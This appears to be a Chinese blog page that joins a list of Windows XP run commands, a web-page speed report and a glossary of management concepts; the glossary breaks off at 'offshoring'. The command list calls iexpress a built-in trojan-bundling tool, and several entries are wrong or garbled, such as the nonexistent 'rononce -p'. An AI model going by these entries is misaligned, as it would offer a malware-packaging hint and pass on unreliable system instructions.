winchat--------XP自带局域网聊天

mem.exe--------显示内存使用情况

Msconfig.exe---系统配置实用程序

mplayer2-------简易widnows media player

mspaint--------画图板

mstsc----------远程桌面连接

mplayer2-------媒体播放机

magnify--------放大镜实用程序

mmc------------打开控制台

mobsync--------同步命令

dxdiag---------检查DirectX信息

drwtsn32------ 系统医生

devmgmt.msc--- 设备管理器

dfrg.msc-------磁盘碎片整理程序

diskmgmt.msc---磁盘管理实用程序

dcomcnfg-------打开系统组件服务

ddeshare-------打开DDE共享设置

dvdplay--------DVD播放器

net stop messenger-----停止信使服务

net start messenger----开始信使服务

notepad--------打开记事本

nslookup-------网络管理的工具向导

ntbackup-------系统备份和还原

narrator-------屏幕"讲述人"

ntmsmgr.msc----移动存储管理器

ntmsoprq.msc---移动存储管理员操作请求

netstat -an----(TC)命令检查接口

syncapp--------创建一个公文包

sysedit--------系统配置编辑器

sigverif-------文件签名验证程序

sndrec32-------录音机

shrpubw--------创建共享文件夹

secpol.msc-----本地安全策略

syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码

services.msc---本地服务设置

Sndvol32-------音量控制程序

sfc.exe--------系统文件检查器

sfc /scannow---windows文件保护

tsshutdn-------60秒倒计时关机命令

tourstart------xp简介(安装完成后出现的漫游xp程序)

taskmgr--------任务管理器

eventvwr-------事件查看器

eudcedit-------造字程序

explorer-------打开资源管理器

packager-------对象包装程序

perfmon.msc----计算机性能监测程序

progman--------程序管理器

regedit.exe----注册表

rsop.msc-------组策略结果集

regedt32-------注册表编辑器

rononce -p ----15秒关机

regsvr32 /u *.dll----停止dll文件运行

regsvr32 /u zipfldr.dll------取消ZIP支持

cmd.exe--------CMD命令提示符

chkdsk.exe-----Chkdsk磁盘检查

certmgr.msc----证书管理实用程序

calc-----------启动计算器

charmap--------启动字符映射表

cliconfg-------SQL SERVER 客户端网络实用程序

Clipbrd--------剪贴板查看器

conf-----------启动netmeeting

compmgmt.msc---计算机管理

cleanmgr-------**整理

ciadv.msc------索引服务程序

osk------------打开屏幕键盘

odbcad32-------ODBC数据源管理器

oobe/msoobe /a----检查XP是否激活

lusrmgr.msc----本机用户和组

logoff---------注销命令

iexpress-------木马捆绑工具,系统自带

Nslookup-------IP地址侦测器

fsmgmt.msc-----共享文件夹管理器

utilman--------辅助工具管理器

gpedit.msc-----组策略

首页速度报告-Web Page Speed Report

Diagnosis

Global Statistics

Total HTTP Requests: 22

Total Size: 88576 bytes

Object Size Totals

Object type Size (bytes) Download @ 56K (seconds) Download @ T1 (seconds)

HTML: 27668 5.71 0.35

HTML Images: 35054 9.19 2.39

CSS Images: 0 0.00 0.00

Total Images: 35054 9.19 2.39

Javascript: 24273 5.84 1.13

CSS: 1581 1.12 0.81

Multimedia: 0 0.00 0.00

Other: 0 0.00 0.00

External Objects

External Object QTY

Total HTML: 1

Total HTML Images: 11

Total CSS Images: 0

Total Images: 11

Total Scripts: 5

Total CSS imports: 4

Total Frames: 0

Total Iframes: 1

Download Times*

Connection Rate Download Time

14.4K 73.05 seconds

28.8K 38.73 seconds

33.6K 33.82 seconds

56K 22.05 seconds

ISDN 128K 9.81 seconds

T1 1.44Mbps 4.87 seconds

*Note that these download times are based on the full connection rate for ISDN and T1 connections. Modem connections (56Kbps or less) are corrected by a packet loss factor of 0.7. All download times include delays due to round-trip latency with an average of 0.2 seconds per object. With 22 total objects for this page, that computes to a total lag time due to latency of 4.4 seconds. Note also that this download time calculation does not take into account delays due to XHTML parsing and rendering.

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405 Iframe #1

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22 ^ 88576* Total (^unique objects)

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只有几个导航图片好不好,任俊龙的博客向来以文字为主,图片少一是由于BLOGER上传图片比较费事,二是由于本来就没有打算像Milo一样做一个图片BLOG,这就开始报警了?

14项管理原则-14 Principles of Management

14项管理原则是什么?

释义

法国古典管理理论学家Henri Fayol总结的14项管理原则为:

工作分工(Division of Work)。 专业化允许个人积累经验,持续不断地提高技能, 从而更富有生产力。

权威与责任(Authority and Responsibilities)。 发布命令的权力,必须与相应的责任相匹配。

纪律(Discipline)。 员工必须遵守纪律,但这一点具有两面性: 只有当管理者自身具有高超的领导力、恪尽职守,员工才会遵守纪律。

统一指挥(Unity of Command)。 每个员工都只能有一个上级,以确保他所执行的命令不会相互冲突。

统一方向(Unity of Direction)。 在一项单独的行动计划中,每一名参与者的目标都必须相同。 这一点对于组织的团结和协调非常重要。 尽管统一的方向不一定产生统一的指挥,但是如果没有统一的方向,就决不可能有统一的指挥。

个体利益服从整体利益(Subordination of Individual Interest to the General Interest)。 管理者必须意识到企业目标永远是至高无上的。

人事报酬(Remuneration)。 尽管通过分析各种可能性,Fayol 指出没有一个完美的组织系统,他还是认为人事报酬是这个系统中的一个非常重要的促进因素。

中心化或去中心化(Centralization or Decentralization)。 这里有一个度的问题,取决于企业的环境条件和人员条件。

层次链/权威线(Scalar Chain/Line of Authority)。 为了方向统一,一定的层级是需要的。 但是横向联系也是组织沟通的基本方式。 层次链指的是从高层权威到基层人员的组织层级, 它不应该过长,不能包含过多层级。

秩序(Order)。 对于组织管理来说,物质秩序和社会秩序都是必要的, 物质秩序使得损失和浪费最小化, 而社会秩序则来源于组织与选举。

平等(Equity)。 对于企业经营者来说,必须做到“友好和公正”的完美组合, 善待员工对实现平等非常重要。

人员任期稳定性(Stability of Tenure of Personnel)。 在工作职位稳定和职业前景看好的情况下,员工的工作绩效会更好。 人员的不当任用以及离职率过高对企业都会有负面影响。

主动性(Initiative)。 通过一些适当的方式调动全体人员的主动性,是一个增强组织实力的有效方法。 这一点做得好,也许会让一些管理人员感到“空虚”。

Esprit de Corps(团队精神)。 管理人员必须不断鼓舞雇员士气。 Fayol建议: “真正优秀的团队需要协调努力、互相鼓励、调用每个人的聪明才智、,并不偏不倚地对每个人的优点给以回报”。

什么是管理?

五个要素

Fayol对管理角色及相关行动的定义包含了以下五个要素:

预见(Prevoyance)。 (预测与规划)。 审视未来,制定行动方案。 此为战略要素。

组织(To organize)。 从物质和人员两个方面建设组织架构。

命令(To command)。 维持人员间的活动。

协调(To coordinate)。 统一并协调所有行为、活动。

控制(To control)。 发生的任何行为活动必须于既定的制度、命令相适。

14项管理原则的起源。

历史

Henri Fayol(1841-1925)是法国古典管理理论学家,他的劳动力管理和组织理论在20世纪初期有着广泛的社会影响。 最初,Fayol是法国采矿公司Commenry-Fourchamboult-Decazeville采矿工程师。 随后走上管理岗位,1888年至1918年间,他担任公司的总经理。 在他任职总经理期间,他写了大量的管理文章,1916年,《Bulletin de la Société de l’ Industrie Minérale》发表了他的代表作《工业管理和一般管理》(Administration, Industrielle et Générale - Prévoyance, Organisation, Commandement, Coordination, Contrôle)。 该书的英文版直到1949年才问世, 翻译者是Constance 。

14项管理原则的运用。

应用

变革与组织。

决策。

技能培训。 管理效力提高。

有助于理解管理包含着一系列不同的活动,这些活动是可以罗列和分类的。

垂直整合-Vertical Integration

什么是垂直整合?

释义

垂直整合(Vertical Integration)是一种提高或降低公司对于其投入和产出分配控制水平的方法,

也即公司对其生产投入、产品或服务的分配的控制程度。 垂直整合有两种类型: 后向整合(Backward Integration)与前向整合(Forward Integration)。 一个公司对于其生产投入的控制被称之为 后向整合。 对其产出分配的控制则被称之为 前向整合。

Michael Porter的Value Chain model[价值链模型]是对垂直整合的最佳理解与应用。 垂直整合意味着公司的价值链与其供应商、经销商价值链之间的整合水平。

如果公司将其供应商或经销商的价值链整合进自己的价值链中,则被称之为完全垂直整合(Full Vertical Integration)。 这种情况发生在公司力图扩展经营,收购了供应商或经销商的时候。 这种所谓的扩展经营,即公司意欲进入传统上由供应商或经销商经营的领域。 一种程度较低的垂直整合为 供应链优化(Supply Chain Optimization),也被称之为 供应链规划(Supply Chain Planning)。 这种整合情况发生在公司与其供应商、经销商(顾客)交换物流信息的时候。 看见: Vendor Managed Inventory[供应商管理库存]。

航空业的垂直整合也许最为典型。 现在,航空公司越来越多地执行过去由旅行社扮演的角色,就是典型的前项整合。 同样,航空公司亦亲力而为供应商的角色如飞机维护、飞行餐饮,就是典型的后向整合。 类似的例子还有,炼油公司拥有并经营石油分销渠道如加油站, 有时还进入石油勘探行业,这些都是典型的垂直整合。

垂直整合的起源

历史

垂直整合已经有很长的历史,但其各个时期的战略动因却不尽相同。 19世纪,公司运用垂直整合以扩大经营规模。 20世纪中叶,垂直整合的用途主要体现在稳定关键生产原料的供给。 在一些具体案例中,还应用到了交易成本经济学的相关理论,这时的垂直整合就是为了减少总成本。 该理论认为,企业执行供应商或经销商的功能,较之花费时间和金钱与供应商、经销商进行交易,要便宜得多。

随后,在20世纪末,各个行业的竞争加剧。 大公司纷纷重组,降低垂直整合水平,直接导致了垂直非一体化(Vertical Disintegration)。

信息与通信技术(ICT)的快速发展与广泛运用也促成了垂直整合的土崩瓦解,因为市场不同主体之间的交易、沟通成本由于这些技术的应用大幅降低。 与垂直整合相比,运用ICT,公司间的交易成本更低,于是出现了垂直非一体化。 此效应即为著名的“寇斯法则”(Coase's Law),亦被称之为“公司递减法则”(Law of Diminishing Firms)。 这个法则说明市场交易成本的降低,迫使公司唯有不断的缩小规模方能生存。

垂直整合的运用

应用

垂直整合通常运用于以下场合:

公司战略发展过程中,垂直整合往往被考虑作为一项战略选择。 例如,在供应商过于强大对公司发展造成威胁的情况下,一种战略解决方案就是大量收购供应商。

运用Porter的五力模式进行行业动力分析的时候,垂直整合是降低供应商和顾客议价能力的必然选择。

垂直整合也是降低交易成本的一种方法。

垂直整合的步骤。

流程

在考虑是否采取垂直整合战略以及在多大程度上进行整合的时候,你需要作以下一些考虑:

是否存在范畴经济(Economies of Scope),使得公司能够便宜地控制投入与产出?

是否存在市场外在因素(Market External Factors),使得公司能够高效地控制投入与产出?

是否有必要追求垄断力量?

垂直整合的优势

优点

规模经济。

范畴经济。

成本降低。

竞争性。

减弱供应商或顾客的威胁。

高度控制完整的价值链。

垂直整合的局限。

缺点

现实中,没有一个完全整合或完全非整合的公司。 因此,这个问题不能做两个极端的选择。 问题的要点应该是,如果优化垂直整合的程度。

垂直整合的程度很难通过数量化手段来得到答案。

当垂直整合帮助公司解决了一个麻烦的时候,由此又可能引发一系列其他的麻烦。 比较Core Competence[核心竞争力]。

整合后新旧业务之间的平衡很难把握。

垂直整合的假设。

条件

公司必须要在供应链上扩展和延伸自己所扮演的角色。

供应商管理库存-Vendor Managed Inventory

什么是供应商管理库存?

释义

供应商管理库存(Vendor Managed Inventory,VMI),是供应链管理实践的一种,它是指由供应商按照预期需求以及事先达成的最高和最低库存水平,代表买方组织对库存进行监督、规划和管理。 根据传统实践,我们知道,成功的供应链管理取决于对库存成本(Inventory Cost)和服务水平(Service Level)的平衡和把握。 而通过实施VMI的供应链战略,则能够在库存成本和服务水平这两个维度上同时取得提高。 VMI至少有两种形式:

批发商(经销商)为零售商管理库存。 当此情况下,VMI亦被称作为有效消费者反映(Efficient Consumer Response, ECR)。 注意,尽管批发商承接补货单,库存仍然为零售商所拥有。

制造商为经销商管理库存。 同样,尽管制造商承接补货单,库存仍然为经销商所拥有。

VMI的战略依据是,供应方较之买方能够更好地管理库存,因为它对于产能及交货期(Lead Time)的知识、经验较之买方要丰富得多。 同时,供应方管理库存还有助于降低供应链的层级,提高库存透明度,降低整体库存水平。 成功运用VMI,要求经销商、零售商必须通过电子数据交换(EDI)技术或其他电子技术手段,抑或传统人力,为供应商提供充分完整的销售数据。

在英文中,以下两个术语亦被用来表示VMI——Continuous Replenishment(持续补货)、Supplier Managed Inventory(供应商管理库存)。

VMI的起源 历史

VMI最先出现于零售业,以适应有效消费者反映(ECR)这一商业理念,即消费者对于企业库存状况的满意度或期望度是企业获取竞争优势至关重要的因素。 沃尔玛是成功采用VMI供应链战略的先驱者。

VMI正在日益发展成为一种供需方之间的战略伙伴关系模式, 这种模式对企业的库存规划产生了深远影响,正逐渐形成一种面向供应链的新战略——合作计划、预测与补给(Collaborative Planning、Forecasting and Replenishment),简称CPFR,它已成为供应链管理中的一个热门话题。

VMI的运用 应用

误差敏感行业。 如: 医药行业。

分店众多的速消品行业。 如: 沃尔玛。

易腐、易损产品。 如: K玛百货(K-Mart)。

组件贵重且复杂的产品。 如: 计算机制造业。

高度竞争、利润微薄的行业。 如: 汽车业。

VMI的步骤。 流程

VMI的通常包括如下一些步骤:

对各方的期望进行有效沟通。

零售商与经销商(供应商)共享真实、精准的销售信息。

供应商确保有效可靠的信息传输、接收和使用。

就订货政策、风险及利益分享等达成协议。

承担时间及资源。

广泛测试。

实施和评估。 调整。

褒奖库存管理出色的供应商。 如: 将其擢升为品类首领(Category Captain),或分享利润,等等。

VMI的优势。 优点

供应链方面: 减少供应链层级。

减少管理费用。

提升销售额。

减少人为数据录入差误。

供货商方面: 更好地了解顾客需求,资源利用率更高(原材料库存及成品库存降低)。

与顾客沟通更直接、更高效。 市场分析结果更为准确。

库存降低,销售提高。

增加了提供品类管理及提供增值服务的机会。

经销商方面: 订货次数减少,库存成本降低。

销售提高,缺货情况减少。

冗余减少。

形成战略优势。

供货商参与品类管理。

终端客户(零售商): 服务水平提高。

缺货情况降低。

VMI的局限。 缺点

VMI成功与否取决于供应商与零售商之间的合作关系。

各方之间的依赖度提高,转移成本提高。

各方之间如果缺乏诚信,不能够充分交换信息数据,将会导致: 库存不清。

库存失衡。

技术成本及对组织进行变革调整的成本较高。

需要大规模的数据测试及EDI测试。

缺少了必要的、充分的货架空间(货品展示)有可能使零售商失去顾客的注意。

零售商开展任何促销活动,都需要提前与供应商进行沟通,否则极易出现货品短缺。

由于库存水平较低,极易遭受非可预见性的风险损失,如罢工或飓风等自然灾害造成的货品短缺。

比较而言,供货商付出多,而经销商与零售商获益多。

VMI的前提。 情况

成功的VMI主要存在于具有以下一些特征的企业:

多店铺。

人为错误极易造成严重后果(如医药行业)。

行业稳定,销售量大(零售业、速消品)。

库存产品价值高、需求难以预测的行业(如高科技行业)。

需要高超的领导能力,需要形成长期的战略伙伴关系(如汽车行业)。

变动成本法-Variable Costing

什么是变动成本法?

释义

变动成本法(Variable Costing)是一种存货成本计价方法,它在计算单位产品的成本时只考虑变动生产成本。 变动成本法也被称为: 直接成本法(Direct Costing)或边际成本法(Marginal Costing)。

变动生产成本包括:

直接原料(Direct Materials)。

指能够合理辨认系未经加工的原料或可被直接制成成品的零件。

直接人工(Direct Labor)。

指能合理辨认系直接归属于生产制成品所发生的人工成本。 也被称作为: 接触人工(Touch Labor)。

变动间接成本(Variable Manufacturing Overhead Costs)。

与此相对的,固定成本则是指在一定时期(如一年)和一定业务量范围内,不受生产增减变动影响而能保持不变的成本。

其成本总额就是企业在一定时期内(如一年)内的开支总额。

存货成本是否应该包括固定生产成本?

吸收式成本法的支持者认为固定生产成本应该包括进存货成本,因为所有的生产成本都是服务于产品生产的, 它们将于未来产生经济效益。

变动式成本法的支持者则认为,如果要将固定生产成本作为一项资产的话,那么它必须符合“未来成本免除”的原则, 这多少有些类似于预付保费保险。 然而,固定生产成本并不符合这一原则,因为每当生产线开始运作的时候,它们便卷入进来。 因此,它们将作为那一时期的开支计算, 而只有变动成本作为库存成本的计价标准。

利用变动式成本法计算利润的后果

期初与期末的存货水平对于利润计算非常重要:

如果期初与期末的存货水平相同, 吸入式成本法计算的利润 = 变动式成本法计算的利润

如果期末的存货水平降低, 变动式成本法计算的利润 > 吸入式成本法计算的利润

如果期末的存货水平增加, 吸入式成本法计算的利润 > 变动式成本法计算的利润

价值信条-Value Disciplines

根据CSC Index系统公司的咨询师Michael Treacy和Fred Wiersema所写的《市场领导者的修炼》(The Discipline of Market Leaders)一书,公司必须遵循以下四个成功原则:

在三个价值信条(运营卓越、产品领先、亲近顾客)中寻找一个,努力成为最好。 市场领袖首先要形成具有竞争力的、难以模仿的价值主张(Value Proposition)。

在其他两个信条中获得好的绩效水平。 绝不能够让另外两个价值信条的绩效水平滑坡,而导致公司价值和吸引力的削弱。

在某一已选择的信条上持续改进,占领市场。 当公司将其所有的资产、能源和精力投入到某一类型的价值信条上去的时候,它的绩效表现往往要比那些投入分散的企业高得多。

构建协调良好的运营模型,实现价值的传递。 在一个竞争激烈的市场上,顾客期望不断提到,顾客价值也必须不断提高, 这是市场领袖所必须面对的挑战。 一个良好的运营模型是把握顾客期望、提升顾客价值的关键。

什么是价值信条(Value Disciplines)?

释义

Treacy和Wiersema在他们的书中描述了三个普遍性的价值信条, 每一个公司都必须从这三个价值信条中选择一个,持续地做用于它, 并遵循上述介绍的四个原则,才能够获得成功。

运营卓越(Operational Excellence)。 一流的运营和执行。 通常表现为以非常低的价格提供质量优越的产品或服务。 任务导向型愿景,对员工有很高要求。 关注的焦点是效率、流线生产、供应链管理、无冗余服务、重视数量。 大多数国际大公司遵循这一原则。 衡量检测系统非常重要。 产品类别极为有限,多元化不足。 参见: Reverse Positioning[逆向定位]。

产品领先(Product Leadership)。 强于创新和市场品牌。 企业在市场上表现活跃。 关注的焦点是开发、创新、设计、市场的时效性、较短时间内获取高额边际利润。 企业文化灵活。

亲近顾客(Customer Intimacy)。 企业卓越于顾客关注与顾客服务。 针对每一个顾客,提供量体裁衣的产品或服务。 产品类别丰富,差异化特点明显。 关注的焦点是: 客户关系管理、产品或服务的供给准时并超出顾客期望、终生价值概念、可靠性、贴近顾客,等等。 将决策权下放给与顾客直接打交道的员工。

价值信条模型非常类似于Porter的三个一般性竞争战略(Cost Leadership, Cost Leadership、Differentiation、Focus[成本领先、差异化、聚焦集中])。 但是二者之间至少有一点不同: 价值信条模型中三个信条不可偏废, 在某一信条追求卓越的同时,另外两个信条必须保持较好的水平。 然而,根据Porter的竞争战略理论,企业如果照此而行,则会置于高不成低不就的位置,永远无法取得卓越。

价值链-Value Chain Framework

价值链上的各项活动

主要活动(一线运营功能) 进货物流(Inbound Logistics)。 包括接收、入库、库存控制、运输规划等。

制造运营(Operation)。 包括加工、包装、组装、设备维护、测试以及其他所有将资源输入转变为产品输出的价值创造活动。

出货物流(Outbound Logistics)。 此项活动目的是使终端产品送抵消费者,包括 入库、订单实现、运输、分销管理,等等。

市场营销(Marketing and Sales)。 包括一系列促使消费者购买产品的活动: 渠道选择、广告、市场促进、销售、定价、零售管理,等等。

售后服务(Service)。 包括维持和提高产品价值的一系列活动: 用户支持、维修服务、安装、培训、备用件管理、升级,等等。

支持活动(行政功能及其他企业运营环节) 采购(Procurement)。 采购物项包括原材料、服务、零备件、建筑及机器,等等。

技术发展(Technology Development)。 支持价值链上各项活动的技术发展, 例如: 研发、流程自动化、设计及再设计。

人力资源管理(Human Resource Management)。 包括招募、发展培训(教育)、人力资源保持、员工及管理人员薪酬回报,等等。

企业基础建设(Firm Infrastructure)。 包括企业一般管理、规划管理、质量管理、以及法律、财务、会计、公共事务等各项管理活动。

基于价值链的成本优势

企业能够通过以下两个手段产生创造成本优势:

减少单项价值创造活动的成本;

对价值链进行重新配置。

值得注意的是,成本优势不仅可以通过减少主要活动的成本获得,同样也可以通过减少支持活动的成本获得。 今天,已经有越来越多的公司通过使用信息技术获得成本优势。

对价值链进行定义之后,就可以通过对价值创造各项活动成本的分摊来进行成本分析。 Porter列出了10个与价值链活动紧密相关的成本动因(Cost Drivers):

经济规模(Economies of Scale)。

企业学习(Learning)。

能力运用(Capacity Utilization)。

各活动之间的联结(Linkages among Activities)。

战略事业单元之间的相互关系(Interrelationships among Business Units)。

垂直一体化的程度(Degree of Vertical Integration)。

市场进入的时间(Timing of Market Entry)。

企业的成本领先或差异化政策(Firms of Policy of Cost or Differentiation)。

地理位置(Geographic Location)。

制度化因素(政策规定、工会势力、税收,等等)。

企业如果较之竞争对手更好地控制以上成本动因,就能够获得成本优势。 如前所说,企业还可以通过重组价值链来获得成本优势, 重组意味着价值链结构的变化,如: 新的生产流程、新的分销渠道、或者不同的销售方法。

通常,公司的价值链往往与其他价值链相联系,并成为一个更大的价值链的一部分。 创造企业的竞争优势,还取决于企业对这个更大的价值链的分析和管理能力。 这就是运筹学上的 供应链管理(Supply Chian Management)。 有些人更认为,或许用另外一个词来描述价值链更为准确,即 价值网络(Value Networks)。

网络经济12法则-Twelve Principles of the Network Economy

新经济法则围绕以下四个基轴运转:

财富来源与创新,而不是机会; 也就是说,财富不是来源于那些我们已经知道的, 而是来自于我们未知的。

培育未知需要超级的灵动和网络。

与未知共舞,则意味着要放弃已知世界,颠覆那些让我们为之骄傲的完美。

在网络经济日益壮大的过程中,“发现、培育、摧毁”这个游戏循环的速度越来越快,影响越来越烈。

以下内容就是网络经济12法则的详细阐释:

联系法则(The Law of Connection)。 拥抱无形力量: 由芯片组成的微观世界和日益扩张的电子世界与我们的联系更加紧密。

充裕法则(The Law of Plentitude)。 节点越多,网络的体价值就越高: 数学家已经证明,一个网络的价值与是其节点数量成平方比。 换句话说,网络中的节点数按照算术法则提升,而网络的价值则按照指数法则提升。

指数价值法则(The Law of Expontial Value)。 成功是非线性的: 与今日的巨大成功相比,微软公司创业前十年的利润可以忽略不计, 它的轰轰烈烈的上升是在1985年左右, 但是微软自此就进入了爆炸式的发展轨迹。

引爆法则(The Law of Tipping Points)。 引爆点威力无穷: 根据流行病学理论,引爆点存在并出现于当一种地方病因为感染了足够多的宿主而成为流行病时, 此后,传染之力就会势如破竹、所向披靡。 在生物学上,致命疾病的引爆点往往都是相当高的,而在技术领域,即便受感染、影响的个体数量不多,亦有可能发生引爆效应。

渐增回报法则(The Law of Increasing Returns)。 形成价值创造的良性圈子: 价值在圈子成员中间实现爆炸,价值爆炸又吸引进更多的成员,从而实现混合的、递增的价值回报。 有一句古老的谚语能够更简洁地表达这个法则: “付出者,必有回报”(Them that's got shall get)。

逆向定价法则(The Law of Inverse Pricing)。 对于廉价的期望: 经过漫长的大工业时期,消费者已经被养成了“一分钱一分货”的思想认识,质量提高必然导致价格提升。 然而,微处理器的出现打破了这一价格恒等式。 信息时代的消费者将越来越有可能以较低的价格享用优质的产品和服务。 价格与质量的这种极端的逆向曲线关系似乎说明,东西越好,价格越低。

慷慨法则(The Law of Generosity)。 免费紧随逆向定价之后: 在信息时代,免费已经成为一个广受欢迎的、明智的商业战略。 由于网络知识经济逆转了定价法则,网络知识的内在属性使得产品复制品(有形的或无形的)的边际成本几乎为零。 由于产品价值的提升与产品数量成正比,产品复制品数量的增加意味着产品价值的提升。 由于产品价值越高,它的需求就会越大,它的传播速度就会越快,而且能够实现自我传播。 一旦产品价值被市场认可,消费者者的依赖性得到确立,公司就可以提供附加服务、升级服务等实现创收和盈利。

忠诚法则(The Law of Allegiance)。 培育网络为先: 网络的突出特征在于它没有明显的中心和边界, 工业时代你我、彼此泾渭分明的忠诚法则在网络时代越来越没有意义了, 在信息时代,忠诚法则唯一要求你关注的就是:你是否在网络中。

退化法则(The Law of Devolution)。 较之其他,这一法则更为重要: 信息时代的生物属性特征表现在:一个成熟领域突然之间的土崩瓦解会像一个新领域的突然出现一样自然, 在网络经济中,能够于巅峰时期放弃一件产品、职业或行业,需要非凡的能力。

位移法则(The Law of Displacement)。 网络将大获全胜: 关于网络经济或者电子商务到底能够多大规模这样的问题, 将变得越来越没有意义,因为一切商务活动最终都将迁移到互联网上。

“混沌”法则(The Law of "Churn")。 需求持续的不平衡: 网络经济的运动总是处在“混沌”变化之中, 快速的变化,即便有害,对于网络经济来说仍然是非常重要的。 “搅动”,另一方面,是更可能印度神湿婆神、破坏创造性的军队和创世纪。 “混沌”在颠覆了既有的责任和义务的同时,又提供了一个更为理想的平台,迎接创新与新生。 它是一种“混合的创新”, 孕育于混沌之中。

无效法则(The Law of Inefficience)。 不要解决问题: 在网络经济时代,生产力不再是我们的瓶颈, 我们解决社会经济问题的能力,将主要受制于我们的想象力,这种想象力将不再用来寻找最佳方案,而是要致力于发现并抓住新的机会。 用Peter Drucker 和 George Gilder的话说,就是:“把问题丢在一边,去寻找新的机会吧”。

约束理论-Theory of Constraints

你读过《目标》这本最著名的企业管理小说么? 还记得书中的Herbie么?那个总是慢慢腾腾,让其他的童子军们大伤脑筋的小男孩。 Eliyahu Goldratt独创的约束理论(TOC,Theory of Constraints)真实地来源于这位以色列科学家对“如何思考”的思考。 在他的一系列的著作中,他详细地阐述了他的思考方法、流程及应用。

约束理论中的因果关系

约束理论的核心是承认因果关系。 约束理论的思维流程教会我们在实践中如何把因果关系和我们的经验、我们获取知识的直觉融合到一起。 约束理论是一种可验证哲学, 通过正确的思考,我们就能够更好地理解我们的世界; 通过更好的理解,我们就能够实现提高。

组织是一张复杂的网,人员、设备、方法、材料和标准尽在其中, 作为组织管理人员,整天要面对如此的细微和复杂,实在是太糟糕了。 这还没完,你还得再加入动态的复杂成分——不断变化着的顾客、供应商、生产员工、规章制度,等等。现在,你就得到了每一个管理团队每日所面临的挑战的完整画面。

为了应付这些挑战,传统上,管理者习惯于将他们的组织化整为零,成为更多的管理单元。 目的是实现每一个单元的绩效最大化。 他们认为,大组织的绩效提高等于各个小单元绩效提高的总合。

错!非常不幸,这个如意算盘敲错了。 约束理论认为,组织内大多数变量对组织的整体绩效只会发生微乎其微的影响, 与此同时,有那么几个变量,甚至可能就只有一个变量,却会对组织的整体绩效发生重大影响。 这个变量就是组织的“约束变量”, 你可以把它比作一根链条上的最薄弱的环节。

约束理论法的步骤。 方法

如果你打算实现既定的大部分目标的话,你就必须:

找出你的约束变量。

集中于这个约束变量。 企业首先要知道自己的目标是什么,实现这些目标的必要条件又是什么。 然后必须要找出限制企业目标实现的约束变量(一个或多个)。

自始自终,都要关注这个约束变量。 这是一个不断提高的过程。1. 找出约束变量。

2. 作用于约束变量。

3. 一切其他运作都要服从于提高约束变量这个大局。

4. 2、3步过后,如果需要的话,对约束变量投入更多能量与资源,使其不再具有约束能力,满足组织发展的需求。

5. 回到第一步,继续寻找新的约束变量,但不要成为惯性,否则惯性也会成为组织发展的约束力。

质量管理14要点-Fourteen Points of Management

建立恒久目标,改善产品和服务。 (组织必须立足长远规划、研究和教育配置企业资源,不断改进产品和服务的设计。)

接受新的理念。 (政府规定如果成为企业发展的桎梏,就必须努力去除,企业需要不断转型。)

质量不能仅依赖于产品检验。 (质量控制必须被设计融入生产流程, 要防患于未然,而不能等到次品产生后再去把它们找出来)。

价格不是采购的唯一考量标准。 (组织应该与某一供应商建立长远合作关系。)

永续改进产品与服务。 (企业管理人员及员工要不断探寻提高产品质量和生产效率的方法。)

建立现代岗位培训方法。 (岗位培训绝非可有可无,不仅是必须的,而且要覆盖所有层面。)

改善领导方式。 (企业管理人员应该作为员工的领导者,而不是监督者。)

驱除恐惧。 (让员工畅所欲言,敢于提问和表达观点。)

打破部门壁垒。 (培育团队工作精神,能够解决很多管理问题,将有助于提高质量与产能。)

不对员工喊口号。 任何质量与产能问题都是由生产系统造成的,而不是个别人的行为, 口号喊得越多,越容易让员工感到挫折与不满。)

取消量化标准与目标定额。 (员工有可能生产次品、提供虚假报告,不择手段地完成定额。)

消除影响员工工作自豪感的因素。 (个人绩效回顾评估是员工自豪感的最大障碍。)

鼓励再教育及自我提高计划。 (为每一名员工提供继续学习教育的机会。)

落实到行动,完成大转型。 (上至高管下至普通员工,企业的每一名成员都要为实现上述13要点,积极努力,做出贡献。)

外包-Outsourcing

什么是外包?

释义

外包是一个战略管理模型,它是指一个公司将自己的某项业务流程转移到另一个公司。 换句话说,就是 让一个第三方服务商来执行公司日常的一项或多项业务功能。 对这个第三方服务商来说,就是内保(Insourcing)提供商的业务。 当一个公司的业务功能,本可以通过公司的内部力量来完成,却交给了公司外部组织来执行,该公司这时就采用了外包战略。

外包与转包(Subcontracting)的区别:转包着眼于具体的项目合同,而外包则是一种持续的战略行为。 外包既可以在同一地区,也可以在不同地区;既可以在同一国家,也可以在不同国家(离岸)。

外包的顶级形式甚至可能是,一个非常大的虚拟公司,它只有一名员工, 而这名员工就是公司老板本人。

为什么要将业务流程外包? 主要动机

外包最主要的动机是:

将组织力量集中于Core Competence[核心竞争力]上,使组织更富有竞争性。

降低成本,提高效率。

得以拥有其他特殊资源或能力。 比较: 3rd Party Logistics[3PL,第三方物流]

刺激、鼓励小企业发展、创新。

外包模式

现实中,至少有三种典型的外包模式:

共享服务中心(Shared Service Center)。 (如下所示)

企业分拆(Spin-Off)。 这一分拆的新公司为母公司的某一外包业务提供专门服务。

组织外外包(Outsourcing to an external organization)。

外包的其他潜在优点

不断更新地关注于核心业务。

依靠专门力量,减小经营风险。

提高客户满意度。

为员工提供了更多的职业选择和机会。

改善项目。

改善服务。

更新技能。

保持技能。

获得技能。

吸收技术。

提高成本、业绩等财物指标的清晰度。

降低成本。

运用金融工程学进行成本挥发管理。

资产转换。

资本投资回避。

外包术语表:

应用服务提供商(Application Service Provider,ASP)

ASP是提供计算机网络应用服务的企业, 如电子邮件服务、薪金流程管理、ERP应用等。

业务流程外包(BPO)

业务流程外包是指对前台功能以及后勤服务实行外包,尤其是指外包那些由白领、文职人员的岗位工作, 例如会计、人力资源以及医疗编码和医疗转录等。

竞争性内包(Competitive Insourcing)

竞争性内包是指企业内部员工与极富竞争性的第三方力量竞标企业某一具体业务的过程。 参见内包(Insourcing)。

委约生产(Contract Manufacturing)

委约生产是指将某项生产性工作外包给境内或境外的第三方。 被委托者拥有受理合约的必要设备设施及生产技术。

协力式外包(Co-Sourcing)

协力式外包是指企业的业务功能又内部员工与拥有专业知识的外部力量共同完成,如咨询公司等。

设备管理(Facilities Management)

设备管理是一项具体的外包解决方案,是指客户选择某一外包提供商对其一项或多项设备的运行和维护进行负责。

内包(Insourcing)

内包是外包的一种应变措施,是指将外包功能完全交给企业的内部另一部门来执行,换句话说,就是藉由改善某一区域的营运来承担来自其它部门的工作。 在美国,该术语也被用来指那些在美投资的外资公司雇用美国本土员工。

近岸外包(Nearshoring)

近岸外包是指将业务外包给境内公司,其特点为距离短、联络方便、在相同或相近时区。

离岸外包(Offshoring)

